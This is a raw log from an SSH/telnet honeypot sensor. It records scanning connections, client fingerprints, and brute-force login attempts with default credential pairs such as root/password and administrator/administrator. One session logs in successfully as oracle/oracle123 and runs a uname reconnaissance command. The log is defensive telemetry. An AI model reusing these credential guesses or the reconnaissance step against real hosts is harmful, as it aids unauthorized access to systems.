{"eventid":"cowrie.session.closed","duration":25.659773349761963,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:24.675739Z","src_ip":"152.42.224.71","session":"35b262eca1cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51438,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ca4d1f683d","protocol":"ssh","message":"New connection: 31.40.204.166:51438 (159.203.135.109:22) [session: 58ca4d1f683d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:24.982887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:24.989530Z","src_ip":"31.40.204.166","session":"58ca4d1f683d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:25.120570Z","src_ip":"31.40.204.166","session":"58ca4d1f683d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:25.790922Z","src_ip":"31.40.204.166","session":"58ca4d1f683d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:27.080749Z","src_ip":"31.40.204.166","session":"58ca4d1f683d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.926738262176514,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:29.349787Z","src_ip":"176.65.139.118","session":"da259c33a6c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":55820,"dst_ip":"159.203.135.109","dst_port":23,"session":"748169dd9be4","protocol":"telnet","message":"New connection: 176.65.139.118:55820 (159.203.135.109:23) [session: 748169dd9be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:29.651344Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59210,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2bb00c3cbf","protocol":"telnet","message":"New connection: 152.42.224.71:59210 (10.17.0.5:23) [session: af2bb00c3cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:30.838202Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ed221256aa","protocol":"telnet","message":"New connection: 152.42.224.71:59226 (10.17.0.5:23) [session: b3ed221256aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:31.024060Z"}
{"eventid":"cowrie.session.closed","duration":66.68918991088867,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:32.430637Z","src_ip":"152.42.224.71","session":"4b4e3d6f2aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59242,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ef31cba956","protocol":"telnet","message":"New connection: 152.42.224.71:59242 (10.17.0.5:23) [session: 34ef31cba956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:33.132575Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:33.543153Z","src_ip":"176.65.139.118","session":"748169dd9be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d207e9f38dc","protocol":"telnet","message":"New connection: 152.42.224.71:59234 (10.17.0.5:23) [session: 4d207e9f38dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:33.891093Z"}
{"eventid":"cowrie.session.closed","duration":40.905049562454224,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:34.616090Z","src_ip":"152.42.224.71","session":"b00408dd0841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.757914781570435,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:35.409117Z","src_ip":"176.65.139.118","session":"748169dd9be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34790,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cefdb2cf3c3","protocol":"telnet","message":"New connection: 176.65.139.118:34790 (159.203.135.109:23) [session: 2cefdb2cf3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:35.658822Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54572,"dst_ip":"159.203.135.109","dst_port":22,"session":"d93075d8aab7","protocol":"ssh","message":"New connection: 31.40.204.166:54572 (159.203.135.109:22) [session: d93075d8aab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:37.480698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:37.490597Z","src_ip":"31.40.204.166","session":"d93075d8aab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:37.618304Z","src_ip":"31.40.204.166","session":"d93075d8aab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:38.215902Z","src_ip":"31.40.204.166","session":"d93075d8aab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:39.393573Z","src_ip":"31.40.204.166","session":"d93075d8aab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:40.066983Z","src_ip":"176.65.139.118","session":"2cefdb2cf3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.475050926208496,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:41.133798Z","src_ip":"176.65.139.118","session":"2cefdb2cf3c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":39678,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68f95397d06","protocol":"telnet","message":"New connection: 176.65.139.118:39678 (159.203.135.109:23) [session: a68f95397d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:41.212493Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":39882,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe642c8b8948","protocol":"ssh","message":"New connection: 103.15.222.183:39882 (10.17.0.5:22) [session: fe642c8b8948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:41.663928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:41.668566Z","src_ip":"103.15.222.183","session":"fe642c8b8948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:41.916939Z","src_ip":"103.15.222.183","session":"fe642c8b8948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha2002","message":"login attempt [root/sasha2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:42.664233Z","src_ip":"103.15.222.183","session":"fe642c8b8948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:43.919350Z","src_ip":"103.15.222.183","session":"fe642c8b8948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36622,"dst_ip":"159.203.135.109","dst_port":22,"session":"739ac16a1535","protocol":"ssh","message":"New connection: 31.40.204.166:36622 (159.203.135.109:22) [session: 739ac16a1535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:49.312556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:49.317204Z","src_ip":"31.40.204.166","session":"739ac16a1535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:49.480727Z","src_ip":"31.40.204.166","session":"739ac16a1535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e9b9bcc44b","protocol":"telnet","message":"New connection: 152.42.224.71:59320 (10.17.0.5:23) [session: 38e9b9bcc44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:49.862903Z"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:49.930714Z","src_ip":"31.40.204.166","session":"739ac16a1535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.683733940124512,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:50.895972Z","src_ip":"176.65.139.118","session":"a68f95397d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":57484,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2740c8281f","protocol":"telnet","message":"New connection: 176.65.139.118:57484 (159.203.135.109:23) [session: 7f2740c8281f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:51.084487Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:51.090612Z","src_ip":"31.40.204.166","session":"739ac16a1535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00247693061829,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:52.875615Z","src_ip":"152.42.224.71","session":"bb0cced1d309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3191702365875244,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:53.403531Z","src_ip":"176.65.139.118","session":"7f2740c8281f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34562,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7851750f393","protocol":"telnet","message":"New connection: 176.65.139.118:34562 (159.203.135.109:23) [session: e7851750f393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:53.591470Z"}
{"eventid":"cowrie.session.closed","duration":31.89994502067566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:54.286103Z","src_ip":"152.42.224.71","session":"3063692ad322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.892892360687256,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:56.783855Z","src_ip":"152.42.224.71","session":"4d207e9f38dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46232,"dst_ip":"10.17.0.5","dst_port":23,"session":"37044f173d5c","protocol":"telnet","message":"New connection: 152.42.224.71:46232 (10.17.0.5:23) [session: 37044f173d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:57.058236Z"}
{"eventid":"cowrie.session.closed","duration":105.99122905731201,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:58.239214Z","src_ip":"152.42.224.71","session":"389e9b1cf793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.84020733833313,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:58.370494Z","src_ip":"152.42.224.71","session":"b492b67bca85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46248,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9cec5f87e08","protocol":"telnet","message":"New connection: 152.42.224.71:46248 (10.17.0.5:23) [session: c9cec5f87e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:58.686764Z"}
{"eventid":"cowrie.session.closed","duration":60.856069564819336,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:59.787577Z","src_ip":"152.42.224.71","session":"7763fe22452d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57952,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c18fa0410d6","protocol":"ssh","message":"New connection: 31.40.204.166:57952 (159.203.135.109:22) [session: 6c18fa0410d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:00.316656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:00.383890Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:00.503524Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:01.122607Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.004732847213745,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:01.137199Z","src_ip":"152.42.224.71","session":"34ef31cba956","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:01.478599Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:01.483065Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:01.617517Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:01.640343Z","src_ip":"31.40.204.166","session":"6c18fa0410d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.6567485332489,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:02.674975Z","src_ip":"152.42.224.71","session":"6ed8d414ad99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56730,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf2effcc493","protocol":"telnet","message":"New connection: 152.42.224.71:56730 (10.17.0.5:23) [session: bdf2effcc493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:06.460768Z"}
